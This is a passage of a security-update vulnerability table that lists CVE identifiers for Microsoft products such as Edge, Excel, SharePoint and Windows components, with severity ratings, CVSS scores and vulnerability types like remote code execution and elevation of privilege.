6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  